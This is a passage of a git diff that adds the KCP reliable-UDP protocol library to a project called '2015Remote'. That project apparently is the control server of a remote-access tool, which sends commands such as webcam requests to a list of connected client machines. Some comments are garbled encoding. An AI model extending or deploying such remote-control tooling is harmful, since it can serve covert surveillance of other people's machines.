ikcp_log(kcp, IKCP_LOG_INPUT, "[RI] %d bytes", (int)size); + } + + if (data == NULL || (int)size < (int)IKCP_OVERHEAD) return -1; + + while (1) { + IUINT32 ts, sn, len, una, conv; + IUINT16 wnd; + IUINT8 cmd, frg; + IKCPSEG *seg; + + if (size < (int)IKCP_OVERHEAD) break; + + data = ikcp_decode32u(data, &conv); + if (conv != kcp->conv) return -1; + + data = ikcp_decode8u(data, &cmd); + data = ikcp_decode8u(data, &frg); + data = ikcp_decode16u(data, &wnd); + data = ikcp_decode32u(data, &ts); + data = ikcp_decode32u(data, &sn); + data = ikcp_decode32u(data, &una); + data = ikcp_decode32u(data, &len); + + size -= IKCP_OVERHEAD; + + if ((long)size < (long)len || (int)len < 0) return -2; + + if (cmd != IKCP_CMD_PUSH && cmd != IKCP_CMD_ACK && + cmd != IKCP_CMD_WASK && cmd != IKCP_CMD_WINS) + return -3; + + kcp->rmt_wnd = wnd; + ikcp_parse_una(kcp, una); + ikcp_shrink_buf(kcp); + + if (cmd == IKCP_CMD_ACK) { + if (_itimediff(kcp->current, ts) >= 0) { + ikcp_update_ack(kcp, _itimediff(kcp->current, ts)); + } + ikcp_parse_ack(kcp, sn); + ikcp_shrink_buf(kcp); + if (flag == 0) { + flag = 1; + maxack = sn; + latest_ts = ts; + } else { + if (_itimediff(sn, maxack) > 0) { + #ifndef IKCP_FASTACK_CONSERVE + maxack = sn; + latest_ts = ts; + #else + if (_itimediff(ts, latest_ts) > 0) { + maxack = sn; + latest_ts = ts; + } + #endif + } + } + if (ikcp_canlog(kcp, IKCP_LOG_IN_ACK)) { + ikcp_log(kcp, IKCP_LOG_IN_ACK, + "input ack: sn=%lu rtt=%ld rto=%ld", (unsigned long)sn, + (long)_itimediff(kcp->current, ts), + (long)kcp->rx_rto); + } + } + else if (cmd == IKCP_CMD_PUSH) { + if (ikcp_canlog(kcp, IKCP_LOG_IN_DATA)) { + ikcp_log(kcp, IKCP_LOG_IN_DATA, + "input psh: sn=%lu ts=%lu", (unsigned long)sn, (unsigned long)ts); + } + if (_itimediff(sn, kcp->rcv_nxt + kcp->rcv_wnd) < 0) { + ikcp_ack_push(kcp, sn, ts); + if (_itimediff(sn, kcp->rcv_nxt) >= 0) { + seg = ikcp_segment_new(kcp, len); + seg->conv = conv; + seg->cmd = cmd; + seg->frg = frg; + seg->wnd = wnd; + seg->ts = ts; + seg->sn = sn; + seg->una = una; + seg->len = len; + + if (len > 0) { + memcpy(seg->data, data, len); + } + + ikcp_parse_data(kcp, seg); + } + } + } + else if (cmd == IKCP_CMD_WASK) { + // ready to send back IKCP_CMD_WINS in ikcp_flush + // tell remote my window size + kcp->probe |= IKCP_ASK_TELL; + if (ikcp_canlog(kcp, IKCP_LOG_IN_PROBE)) { + ikcp_log(kcp, IKCP_LOG_IN_PROBE, "input probe"); + } + } + else if (cmd == IKCP_CMD_WINS) { + // do nothing + if (ikcp_canlog(kcp, IKCP_LOG_IN_WINS)) { + ikcp_log(kcp, IKCP_LOG_IN_WINS, + "input wins: %lu", (unsigned long)(wnd)); + } + } + else { + return -3; + } + + data += len; + size -= len; + } + + if (flag != 0) { + ikcp_parse_fastack(kcp, maxack, latest_ts); + } + + if (_itimediff(kcp->snd_una, prev_una) > 0) { + if (kcp->cwnd < kcp->rmt_wnd) { + IUINT32 mss = kcp->mss; + if (kcp->cwnd < kcp->ssthresh) { + kcp->cwnd++; + kcp->incr += mss; + } else { + if (kcp->incr < mss) kcp->incr = mss; + kcp->incr += (mss * mss) / kcp->incr + (mss / 16); + if ((kcp->cwnd + 1) * mss <= kcp->incr) { + #if 1 + kcp->cwnd = (kcp->incr + mss - 1) / ((mss > 0)? mss : 1); + #else + kcp->cwnd++; + #endif + } + } + if (kcp->cwnd > kcp->rmt_wnd) { + kcp->cwnd = kcp->rmt_wnd; + kcp->incr = kcp->rmt_wnd * mss; + } + } + } + + return 0; +} + + +//--------------------------------------------------------------------- +// ikcp_encode_seg +//--------------------------------------------------------------------- +static char *ikcp_encode_seg(char *ptr, const IKCPSEG *seg) +{ + ptr = ikcp_encode32u(ptr, seg->conv); + ptr = ikcp_encode8u(ptr, (IUINT8)seg->cmd); + ptr = ikcp_encode8u(ptr, (IUINT8)seg->frg); + ptr = ikcp_encode16u(ptr, (IUINT16)seg->wnd); + ptr = ikcp_encode32u(ptr, seg->ts); + ptr = ikcp_encode32u(ptr, seg->sn); + ptr = ikcp_encode32u(ptr, seg->una); + ptr = ikcp_encode32u(ptr, seg->len); + return ptr; +} + +static int ikcp_wnd_unused(const ikcpcb *kcp) +{ + if (kcp->nrcv_que < kcp->rcv_wnd) { + return kcp->rcv_wnd - kcp->nrcv_que; + } + return 0; +} + + +//--------------------------------------------------------------------- +// ikcp_flush +//--------------------------------------------------------------------- +void ikcp_flush(ikcpcb *kcp) +{ + IUINT32 current = kcp->current; + char *buffer = kcp->buffer; + char *ptr = buffer; + int count, size, i; + IUINT32 resent, cwnd; + IUINT32 rtomin; + struct IQUEUEHEAD *p; + int change = 0; + int lost = 0; + IKCPSEG seg; + + // 'ikcp_update' haven't been called. + if (kcp->updated == 0) return; + + seg.conv = kcp->conv; + seg.cmd = IKCP_CMD_ACK; + seg.frg = 0; + seg.wnd = ikcp_wnd_unused(kcp); + seg.una = kcp->rcv_nxt; + seg.len = 0; + seg.sn = 0; + seg.ts = 0; + + // flush acknowledges + count = kcp->ackcount; + for (i = 0; i < count; i++) { + size = (int)(ptr - buffer); + if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + ikcp_ack_get(kcp, i, &seg.sn, &seg.ts); + ptr = ikcp_encode_seg(ptr, &seg); + } + + kcp->ackcount = 0; + + // probe window size (if remote window size equals zero) + if (kcp->rmt_wnd == 0) { + if (kcp->probe_wait == 0) { + kcp->probe_wait = IKCP_PROBE_INIT; + kcp->ts_probe = kcp->current + kcp->probe_wait; + } + else { + if (_itimediff(kcp->current, kcp->ts_probe) >= 0) { + if (kcp->probe_wait < IKCP_PROBE_INIT) + kcp->probe_wait = IKCP_PROBE_INIT; + kcp->probe_wait += kcp->probe_wait / 2; + if (kcp->probe_wait > IKCP_PROBE_LIMIT) + kcp->probe_wait = IKCP_PROBE_LIMIT; + kcp->ts_probe = kcp->current + kcp->probe_wait; + kcp->probe |= IKCP_ASK_SEND; + } + } + } else { + kcp->ts_probe = 0; + kcp->probe_wait = 0; + } + + // flush window probing commands + if (kcp->probe & IKCP_ASK_SEND) { + seg.cmd = IKCP_CMD_WASK; + size = (int)(ptr - buffer); + if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + ptr = ikcp_encode_seg(ptr, &seg); + } + + // flush window probing commands + if (kcp->probe & IKCP_ASK_TELL) { + seg.cmd = IKCP_CMD_WINS; + size = (int)(ptr - buffer); + if (size + (int)IKCP_OVERHEAD > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + ptr = ikcp_encode_seg(ptr, &seg); + } + + kcp->probe = 0; + + // calculate window size + cwnd = _imin_(kcp->snd_wnd, kcp->rmt_wnd); + if (kcp->nocwnd == 0) cwnd = _imin_(kcp->cwnd, cwnd); + + // move data from snd_queue to snd_buf + while (_itimediff(kcp->snd_nxt, kcp->snd_una + cwnd) < 0) { + IKCPSEG *newseg; + if (iqueue_is_empty(&kcp->snd_queue)) break; + + newseg = iqueue_entry(kcp->snd_queue.next, IKCPSEG, node); + + iqueue_del(&newseg->node); + iqueue_add_tail(&newseg->node, &kcp->snd_buf); + kcp->nsnd_que--; + kcp->nsnd_buf++; + + newseg->conv = kcp->conv; + newseg->cmd = IKCP_CMD_PUSH; + newseg->wnd = seg.wnd; + newseg->ts = current; + newseg->sn = kcp->snd_nxt++; + newseg->una = kcp->rcv_nxt; + newseg->resendts = current; + newseg->rto = kcp->rx_rto; + newseg->fastack = 0; + newseg->xmit = 0; + } + + // calculate resent + resent = (kcp->fastresend > 0)? (IUINT32)kcp->fastresend : 0xffffffff; + rtomin = (kcp->nodelay == 0)? (kcp->rx_rto >> 3) : 0; + + // flush data segments + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = p->next) { + IKCPSEG *segment = iqueue_entry(p, IKCPSEG, node); + int needsend = 0; + if (segment->xmit == 0) { + needsend = 1; + segment->xmit++; + segment->rto = kcp->rx_rto; + segment->resendts = current + segment->rto + rtomin; + } + else if (_itimediff(current, segment->resendts) >= 0) { + needsend = 1; + segment->xmit++; + kcp->xmit++; + if (kcp->nodelay == 0) { + segment->rto += _imax_(segment->rto, (IUINT32)kcp->rx_rto); + } else { + IINT32 step = (kcp->nodelay < 2)? + ((IINT32)(segment->rto)) : kcp->rx_rto; + segment->rto += step / 2; + } + segment->resendts = current + segment->rto; + lost = 1; + } + else if (segment->fastack >= resent) { + if ((int)segment->xmit <= kcp->fastlimit || + kcp->fastlimit <= 0) { + needsend = 1; + segment->xmit++; + segment->fastack = 0; + segment->resendts = current + segment->rto; + change++; + } + } + + if (needsend) { + int need; + segment->ts = current; + segment->wnd = seg.wnd; + segment->una = kcp->rcv_nxt; + + size = (int)(ptr - buffer); + need = IKCP_OVERHEAD + segment->len; + + if (size + need > (int)kcp->mtu) { + ikcp_output(kcp, buffer, size); + ptr = buffer; + } + + ptr = ikcp_encode_seg(ptr, segment); + + if (segment->len > 0) { + memcpy(ptr, segment->data, segment->len); + ptr += segment->len; + } + + if (segment->xmit >= kcp->dead_link) { + kcp->state = (IUINT32)-1; + } + } + } + + // flash remain segments + size = (int)(ptr - buffer); + if (size > 0) { + ikcp_output(kcp, buffer, size); + } + + // update ssthresh + if (change) { + IUINT32 inflight = kcp->snd_nxt - kcp->snd_una; + kcp->ssthresh = inflight / 2; + if (kcp->ssthresh < IKCP_THRESH_MIN) + kcp->ssthresh = IKCP_THRESH_MIN; + kcp->cwnd = kcp->ssthresh + resent; + kcp->incr = kcp->cwnd * kcp->mss; + } + + if (lost) { + kcp->ssthresh = cwnd / 2; + if (kcp->ssthresh < IKCP_THRESH_MIN) + kcp->ssthresh = IKCP_THRESH_MIN; + kcp->cwnd = 1; + kcp->incr = kcp->mss; + } + + if (kcp->cwnd < 1) { + kcp->cwnd = 1; + kcp->incr = kcp->mss; + } +} + + +//--------------------------------------------------------------------- +// update state (call it repeatedly, every 10ms-100ms), or you can ask +// ikcp_check when to call it again (without ikcp_input/_send calling). +// 'current' - current timestamp in millisec. +//--------------------------------------------------------------------- +void ikcp_update(ikcpcb *kcp, IUINT32 current) +{ + IINT32 slap; + + kcp->current = current; + + if (kcp->updated == 0) { + kcp->updated = 1; + kcp->ts_flush = kcp->current; + } + + slap = _itimediff(kcp->current, kcp->ts_flush); + + if (slap >= 10000 || slap < -10000) { + kcp->ts_flush = kcp->current; + slap = 0; + } + + if (slap >= 0) { + kcp->ts_flush += kcp->interval; + if (_itimediff(kcp->current, kcp->ts_flush) >= 0) { + kcp->ts_flush = kcp->current + kcp->interval; + } + ikcp_flush(kcp); + } +} + + +//--------------------------------------------------------------------- +// Determine when should you invoke ikcp_update: +// returns when you should invoke ikcp_update in millisec, if there +// is no ikcp_input/_send calling. you can call ikcp_update in that +// time, instead of call update repeatly. +// Important to reduce unnacessary ikcp_update invoking. use it to +// schedule ikcp_update (eg. implementing an epoll-like mechanism, +// or optimize ikcp_update when handling massive kcp connections) +//--------------------------------------------------------------------- +IUINT32 ikcp_check(const ikcpcb *kcp, IUINT32 current) +{ + IUINT32 ts_flush = kcp->ts_flush; + IINT32 tm_flush = 0x7fffffff; + IINT32 tm_packet = 0x7fffffff; + IUINT32 minimal = 0; + struct IQUEUEHEAD *p; + + if (kcp->updated == 0) { + return current; + } + + if (_itimediff(current, ts_flush) >= 10000 || + _itimediff(current, ts_flush) < -10000) { + ts_flush = current; + } + + if (_itimediff(current, ts_flush) >= 0) { + return current; + } + + tm_flush = _itimediff(ts_flush, current); + + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = p->next) { + const IKCPSEG *seg = iqueue_entry(p, const IKCPSEG, node); + IINT32 diff = _itimediff(seg->resendts, current); + if (diff <= 0) { + return current; + } + if (diff < tm_packet) tm_packet = diff; + } + + minimal = (IUINT32)(tm_packet < tm_flush ? tm_packet : tm_flush); + if (minimal >= kcp->interval) minimal = kcp->interval; + + return current + minimal; +} + + + +int ikcp_setmtu(ikcpcb *kcp, int mtu) +{ + char *buffer; + if (mtu < 50 || mtu < (int)IKCP_OVERHEAD) + return -1; + buffer = (char*)ikcp_malloc((mtu + IKCP_OVERHEAD) * 3); + if (buffer == NULL) + return -2; + kcp->mtu = mtu; + kcp->mss = kcp->mtu - IKCP_OVERHEAD; + ikcp_free(kcp->buffer); + kcp->buffer = buffer; + return 0; +} + +int ikcp_interval(ikcpcb *kcp, int interval) +{ + if (interval > 5000) interval = 5000; + else if (interval < 10) interval = 10; + kcp->interval = interval; + return 0; +} + +int ikcp_nodelay(ikcpcb *kcp, int nodelay, int interval, int resend, int nc) +{ + if (nodelay >= 0) { + kcp->nodelay = nodelay; + if (nodelay) { + kcp->rx_minrto = IKCP_RTO_NDL; + } + else { + kcp->rx_minrto = IKCP_RTO_MIN; + } + } + if (interval >= 0) { + if (interval > 5000) interval = 5000; + else if (interval < 10) interval = 10; + kcp->interval = interval; + } + if (resend >= 0) { + kcp->fastresend = resend; + } + if (nc >= 0) { + kcp->nocwnd = nc; + } + return 0; +} + + +int ikcp_wndsize(ikcpcb *kcp, int sndwnd, int rcvwnd) +{ + if (kcp) { + if (sndwnd > 0) { + kcp->snd_wnd = sndwnd; + } + if (rcvwnd > 0) { // must >= max fragment size + kcp->rcv_wnd = _imax_(rcvwnd, IKCP_WND_RCV); + } + } + return 0; +} + +int ikcp_waitsnd(const ikcpcb *kcp) +{ + return kcp->nsnd_buf + kcp->nsnd_que; +} + + +// read conv +IUINT32 ikcp_getconv(const void *ptr) +{ + IUINT32 conv; + ikcp_decode32u((const char*)ptr, &conv); + return conv; +} + + diff --git a/common/ikcp.h b/common/ikcp.h new file mode 100644 index 0000000..b8c337f --- /dev/null +++ b/common/ikcp.h @@ -0,0 +1,416 @@ +//===================================================================== +// +// KCP - A Better ARQ Protocol Implementation +// skywind3000 (at) gmail.com, 2010-2011 +// +// Features: +// + Average RTT reduce 30% - 40% vs traditional ARQ like tcp. +// + Maximum RTT reduce three times vs tcp. +// + Lightweight, distributed as a single source file. +// +//===================================================================== +#ifndef __IKCP_H__ +#define __IKCP_H__ + +#include +#include +#include + + +//===================================================================== +// 32BIT INTEGER DEFINITION +//===================================================================== +#ifndef __INTEGER_32_BITS__ +#define __INTEGER_32_BITS__ +#if defined(_WIN64) || defined(WIN64) || defined(__amd64__) || \ + defined(__x86_64) || defined(__x86_64__) || defined(_M_IA64) || \ + defined(_M_AMD64) + typedef unsigned int ISTDUINT32; + typedef int ISTDINT32; +#elif defined(_WIN32) || defined(WIN32) || defined(__i386__) || \ + defined(__i386) || defined(_M_X86) + typedef unsigned long ISTDUINT32; + typedef long ISTDINT32; +#elif defined(__MACOS__) + typedef UInt32 ISTDUINT32; + typedef SInt32 ISTDINT32; +#elif defined(__APPLE__) && defined(__MACH__) + #include + typedef u_int32_t ISTDUINT32; + typedef int32_t ISTDINT32; +#elif defined(__BEOS__) + #include + typedef u_int32_t ISTDUINT32; + typedef int32_t ISTDINT32; +#elif (defined(_MSC_VER) || defined(__BORLANDC__)) && (!defined(__MSDOS__)) + typedef unsigned __int32 ISTDUINT32; + typedef __int32 ISTDINT32; +#elif defined(__GNUC__) + #include + typedef uint32_t ISTDUINT32; + typedef int32_t ISTDINT32; +#else + typedef unsigned long ISTDUINT32; + typedef long ISTDINT32; +#endif +#endif + + +//===================================================================== +// Integer Definition +//===================================================================== +#ifndef __IINT8_DEFINED +#define __IINT8_DEFINED +typedef char IINT8; +#endif + +#ifndef __IUINT8_DEFINED +#define __IUINT8_DEFINED +typedef unsigned char IUINT8; +#endif + +#ifndef __IUINT16_DEFINED +#define __IUINT16_DEFINED +typedef unsigned short IUINT16; +#endif + +#ifndef __IINT16_DEFINED +#define __IINT16_DEFINED +typedef short IINT16; +#endif + +#ifndef __IINT32_DEFINED +#define __IINT32_DEFINED +typedef ISTDINT32 IINT32; +#endif + +#ifndef __IUINT32_DEFINED +#define __IUINT32_DEFINED +typedef ISTDUINT32 IUINT32; +#endif + +#ifndef __IINT64_DEFINED +#define __IINT64_DEFINED +#if defined(_MSC_VER) || defined(__BORLANDC__) +typedef __int64 IINT64; +#else +typedef long long IINT64; +#endif +#endif + +#ifndef __IUINT64_DEFINED +#define __IUINT64_DEFINED +#if defined(_MSC_VER) || defined(__BORLANDC__) +typedef unsigned __int64 IUINT64; +#else +typedef unsigned long long IUINT64; +#endif +#endif + +#ifndef INLINE +#if defined(__GNUC__) + +#if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 1)) +#define INLINE __inline__ __attribute__((always_inline)) +#else +#define INLINE __inline__ +#endif + +#elif (defined(_MSC_VER) || defined(__BORLANDC__) || defined(__WATCOMC__)) +#define INLINE __inline +#else +#define INLINE +#endif +#endif + +#if (!defined(__cplusplus)) && (!defined(inline)) +#define inline INLINE +#endif + + +//===================================================================== +// QUEUE DEFINITION +//===================================================================== +#ifndef __IQUEUE_DEF__ +#define __IQUEUE_DEF__ + +struct IQUEUEHEAD { + struct IQUEUEHEAD *next, *prev; +}; + +typedef struct IQUEUEHEAD iqueue_head; + + +//--------------------------------------------------------------------- +// queue init +//--------------------------------------------------------------------- +#define IQUEUE_HEAD_INIT(name) { &(name), &(name) } +#define IQUEUE_HEAD(name) \ + struct IQUEUEHEAD name = IQUEUE_HEAD_INIT(name) + +#define IQUEUE_INIT(ptr) ( \ + (ptr)->next = (ptr), (ptr)->prev = (ptr)) + +#define IOFFSETOF(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER) + +#define ICONTAINEROF(ptr, type, member) ( \ + (type*)( ((char*)((type*)ptr)) - IOFFSETOF(type, member)) ) + +#define IQUEUE_ENTRY(ptr, type, member) ICONTAINEROF(ptr, type, member) + + +//--------------------------------------------------------------------- +// queue operation +//--------------------------------------------------------------------- +#define IQUEUE_ADD(node, head) ( \ + (node)->prev = (head), (node)->next = (head)->next, \ + (head)->next->prev = (node), (head)->next = (node)) + +#define IQUEUE_ADD_TAIL(node, head) ( \ + (node)->prev = (head)->prev, (node)->next = (head), \ + (head)->prev->next = (node), (head)->prev = (node)) + +#define IQUEUE_DEL_BETWEEN(p, n) ((n)->prev = (p), (p)->next = (n)) + +#define IQUEUE_DEL(entry) (\ + (entry)->next->prev = (entry)->prev, \ + (entry)->prev->next = (entry)->next, \ + (entry)->next = 0, (entry)->prev = 0) + +#define IQUEUE_DEL_INIT(entry) do { \ + IQUEUE_DEL(entry); IQUEUE_INIT(entry); } while (0) + +#define IQUEUE_IS_EMPTY(entry) ((entry) == (entry)->next) + +#define iqueue_init IQUEUE_INIT +#define iqueue_entry IQUEUE_ENTRY +#define iqueue_add IQUEUE_ADD +#define iqueue_add_tail IQUEUE_ADD_TAIL +#define iqueue_del IQUEUE_DEL +#define iqueue_del_init IQUEUE_DEL_INIT +#define iqueue_is_empty IQUEUE_IS_EMPTY + +#define IQUEUE_FOREACH(iterator, head, TYPE, MEMBER) \ + for ((iterator) = iqueue_entry((head)->next, TYPE, MEMBER); \ + &((iterator)->MEMBER) != (head); \ + (iterator) = iqueue_entry((iterator)->MEMBER.next, TYPE, MEMBER)) + +#define iqueue_foreach(iterator, head, TYPE, MEMBER) \ + IQUEUE_FOREACH(iterator, head, TYPE, MEMBER) + +#define iqueue_foreach_entry(pos, head) \ + for( (pos) = (head)->next; (pos) != (head) ; (pos) = (pos)->next ) + + +#define __iqueue_splice(list, head) do { \ + iqueue_head *first = (list)->next, *last = (list)->prev; \ + iqueue_head *at = (head)->next; \ + (first)->prev = (head), (head)->next = (first); \ + (last)->next = (at), (at)->prev = (last); } while (0) + +#define iqueue_splice(list, head) do { \ + if (!iqueue_is_empty(list)) __iqueue_splice(list, head); } while (0) + +#define iqueue_splice_init(list, head) do { \ + iqueue_splice(list, head); iqueue_init(list); } while (0) + + +#ifdef _MSC_VER +#pragma warning(disable:4311) +#pragma warning(disable:4312) +#pragma warning(disable:4996) +#endif + +#endif + + +//--------------------------------------------------------------------- +// BYTE ORDER & ALIGNMENT +//--------------------------------------------------------------------- +#ifndef IWORDS_BIG_ENDIAN + #ifdef _BIG_ENDIAN_ + #if _BIG_ENDIAN_ + #define IWORDS_BIG_ENDIAN 1 + #endif + #endif + #ifndef IWORDS_BIG_ENDIAN + #if defined(__hppa__) || \ + defined(__m68k__) || defined(mc68000) || defined(_M_M68K) || \ + (defined(__MIPS__) && defined(__MIPSEB__)) || \ + defined(__ppc__) || defined(__POWERPC__) || defined(_M_PPC) || \ + defined(__sparc__) || defined(__powerpc__) || \ + defined(__mc68000__) || defined(__s390x__) || defined(__s390__) + #define IWORDS_BIG_ENDIAN 1 + #endif + #endif + #ifndef IWORDS_BIG_ENDIAN + #define IWORDS_BIG_ENDIAN 0 + #endif +#endif + +#ifndef IWORDS_MUST_ALIGN + #if defined(__i386__) || defined(__i386) || defined(_i386_) + #define IWORDS_MUST_ALIGN 0 + #elif defined(_M_IX86) || defined(_X86_) || defined(__x86_64__) + #define IWORDS_MUST_ALIGN 0 + #elif defined(__amd64) || defined(__amd64__) + #define IWORDS_MUST_ALIGN 0 + #else + #define IWORDS_MUST_ALIGN 1 + #endif +#endif + + +//===================================================================== +// SEGMENT +//===================================================================== +struct IKCPSEG +{ + struct IQUEUEHEAD node; + IUINT32 conv; + IUINT32 cmd; + IUINT32 frg; + IUINT32 wnd; + IUINT32 ts; + IUINT32 sn; + IUINT32 una; + IUINT32 len; + IUINT32 resendts; + IUINT32 rto; + IUINT32 fastack; + IUINT32 xmit; + char data[1]; +}; + + +//--------------------------------------------------------------------- +// IKCPCB +//--------------------------------------------------------------------- +struct IKCPCB +{ + IUINT32 conv, mtu, mss, state; + IUINT32 snd_una, snd_nxt, rcv_nxt; + IUINT32 ts_recent, ts_lastack, ssthresh; + IINT32 rx_rttval, rx_srtt, rx_rto, rx_minrto; + IUINT32 snd_wnd, rcv_wnd, rmt_wnd, cwnd, probe; + IUINT32 current, interval, ts_flush, xmit; + IUINT32 nrcv_buf, nsnd_buf; + IUINT32 nrcv_que, nsnd_que; + IUINT32 nodelay, updated; + IUINT32 ts_probe, probe_wait; + IUINT32 dead_link, incr; + struct IQUEUEHEAD snd_queue; + struct IQUEUEHEAD rcv_queue; + struct IQUEUEHEAD snd_buf; + struct IQUEUEHEAD rcv_buf; + IUINT32 *acklist; + IUINT32 ackcount; + IUINT32 ackblock; + void *user; + char *buffer; + int fastresend; + int fastlimit; + int nocwnd, stream; + int logmask; + int (*output)(const char *buf, int len, struct IKCPCB *kcp, void *user); + void (*writelog)(const char *log, struct IKCPCB *kcp, void *user); +}; + + +typedef struct IKCPCB ikcpcb; + +#define IKCP_LOG_OUTPUT 1 +#define IKCP_LOG_INPUT 2 +#define IKCP_LOG_SEND 4 +#define IKCP_LOG_RECV 8 +#define IKCP_LOG_IN_DATA 16 +#define IKCP_LOG_IN_ACK 32 +#define IKCP_LOG_IN_PROBE 64 +#define IKCP_LOG_IN_WINS 128 +#define IKCP_LOG_OUT_DATA 256 +#define IKCP_LOG_OUT_ACK 512 +#define IKCP_LOG_OUT_PROBE 1024 +#define IKCP_LOG_OUT_WINS 2048 + +#ifdef __cplusplus +extern "C" { +#endif + +//--------------------------------------------------------------------- +// interface +//--------------------------------------------------------------------- + +// create a new kcp control object, 'conv' must equal in two endpoint +// from the same connection. 'user' will be passed to the output callback +// output callback can be setup like this: 'kcp->output = my_udp_output' +ikcpcb* ikcp_create(IUINT32 conv, void *user); + +// release kcp control object +void ikcp_release(ikcpcb *kcp); + +// set output callback, which will be invoked by kcp +void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len, + ikcpcb *kcp, void *user)); + +// user/upper level recv: returns size, returns below zero for EAGAIN +int ikcp_recv(ikcpcb *kcp, char *buffer, int len); + +// user/upper level send, returns below zero for error +int ikcp_send(ikcpcb *kcp, const char *buffer, int len); + +// update state (call it repeatedly, every 10ms-100ms), or you can ask +// ikcp_check when to call it again (without ikcp_input/_send calling). +// 'current' - current timestamp in millisec. +void ikcp_update(ikcpcb *kcp, IUINT32 current); + +// Determine when should you invoke ikcp_update: +// returns when you should invoke ikcp_update in millisec, if there +// is no ikcp_input/_send calling. you can call ikcp_update in that +// time, instead of call update repeatly. +// Important to reduce unnacessary ikcp_update invoking. use it to +// schedule ikcp_update (eg. implementing an epoll-like mechanism, +// or optimize ikcp_update when handling massive kcp connections) +IUINT32 ikcp_check(const ikcpcb *kcp, IUINT32 current); + +// when you received a low level packet (eg. UDP packet), call it +int ikcp_input(ikcpcb *kcp, const char *data, long size); + +// flush pending data +void ikcp_flush(ikcpcb *kcp); + +// check the size of next message in the recv queue +int ikcp_peeksize(const ikcpcb *kcp); + +// change MTU size, default is 1400 +int ikcp_setmtu(ikcpcb *kcp, int mtu); + +// set maximum window size: sndwnd=32, rcvwnd=32 by default +int ikcp_wndsize(ikcpcb *kcp, int sndwnd, int rcvwnd); + +// get how many packet is waiting to be sent +int ikcp_waitsnd(const ikcpcb *kcp); + +// fastest: ikcp_nodelay(kcp, 1, 20, 2, 1) +// nodelay: 0:disable(default), 1:enable +// interval: internal update timer interval in millisec, default is 100ms +// resend: 0:disable fast resend(default), 1:enable fast resend +// nc: 0:normal congestion control(default), 1:disable congestion control +int ikcp_nodelay(ikcpcb *kcp, int nodelay, int interval, int resend, int nc); + + +void ikcp_log(ikcpcb *kcp, int mask, const char *fmt, ...); + +// setup allocator +void ikcp_allocator(void* (*new_malloc)(size_t), void (*new_free)(void*)); + +// read conv +IUINT32 ikcp_getconv(const void *ptr); + + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 96335f4..0ca772b 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -178,7 +178,10 @@ int CMy2015RemoteApp::ExitInstance() CloseHandle(m_Mutex); m_Mutex = NULL; } - Delete(); + __try{ + Delete(); + }__except(EXCEPTION_EXECUTE_HANDLER){ + } SAFE_DELETE(m_iniFile); diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index 5e0e83a..111e4af 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -12,6 +12,7 @@ #include "common/iniFile.h" #include "IOCPServer.h" #include "IOCPUDPServer.h" +#include "IOCPKCPServer.h" // CMy2015RemoteApp: // 有关此类的实现，请参阅 2015Remote.cpp @@ -25,7 +26,9 @@ private: Server* m_tcpServer; Server* m_udpServer; public: - ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {} + ServerPair(int method=0) : + m_tcpServer(new IOCPServer), + m_udpServer(method ? (Server*)new IOCPKCPServer : new IOCPUDPServer) {} virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); } BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { @@ -78,13 +81,14 @@ public: // 启动多个服务端，成功返回0 // nPort示例: 6543;7543 - UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn) { + UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method) { bool succeed = false; auto list = StringToVector(uPort, ';'); + auto methods = StringToVector(method, ';', list.size()); for (int i=0; iStartServer(NotifyProc, OffProc, port); if (ret == FALSE) { SAFE_DELETE(svr); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index a0ad7ab..abf1139 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 8d18181..004a9ee 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -591,7 +591,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName EnterCriticalSection(&m_cs); if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) { LeaveCriticalSection(&m_cs); - OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n")); + Mprintf("===> '%s' already exist!!\n", strIP); return; } LeaveCriticalSection(&m_cs); @@ -927,7 +927,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection"); m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection; } - if (!Activate(nPort, m_nMaxConnection)){ + const std::string method = THIS_CFG.GetStr("settings", "UDPOption"); + if (!Activate(nPort, m_nMaxConnection, method)){ OnCancel(); return FALSE; } @@ -1552,10 +1553,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE) continue; - if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString("鏃")) - { - continue; - } + // 鍙戦佽幏寰楅┍鍔ㄥ櫒鍒楄〃鏁版嵁鍖 ContextObject->Send2Client(szBuffer, ulLength); } @@ -1682,10 +1680,10 @@ std::vector splitByNewline(const 